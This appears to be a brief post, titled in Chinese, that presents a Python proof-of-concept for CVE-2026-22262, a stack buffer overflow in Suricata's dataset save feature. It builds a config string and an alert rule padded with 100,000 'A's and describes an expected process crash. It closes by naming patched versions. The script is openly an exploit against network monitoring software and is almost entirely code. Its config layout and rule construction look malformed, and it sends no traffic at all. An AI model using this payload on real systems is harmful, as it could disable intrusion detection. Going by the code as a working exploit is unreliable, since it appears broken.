CVE-2026-22262 Suricata数据集保存栈缓冲区溢出漏洞

# CVE-2026-22262 PoC - Suricata Dataset Stack Buffer Overflow # This PoC demonstrates the vulnerability by creating a rule with an oversized dataset # Configuration for Suricata to trigger the vulnerability suricata_config = """ alerts: - outputs: - fast: enabled: yes filename: /var/log/suricata/fast.log datasets: # Malicious dataset with oversized data that triggers stack buffer overflow malicious_data: initial-state: yes save: yes type: string share: yes """ # Generate large payload that exceeds stack buffer size def generate_large_payload(size=100000): """Generate payload larger than stack buffer can handle""" return "A" * size # Create a rule that uses the dataset with save option malicious_rule = "alert http any any -> any any (msg:\"Test oversized dataset\"; dataset:set,malicious_data,{}; noalert;)".format(generate_large_payload(100000)) print("CVE-2026-22262 PoC") print("=" * 50) print("Vulnerable Component: Suricata Dataset Save Feature") print("Attack Vector: Send HTTP traffic triggering rule with oversized dataset") print("Expected Result: Stack buffer overflow, process crash") print("\nMitigation: Upgrade to Suricata 8.0.3 or 7.0.14")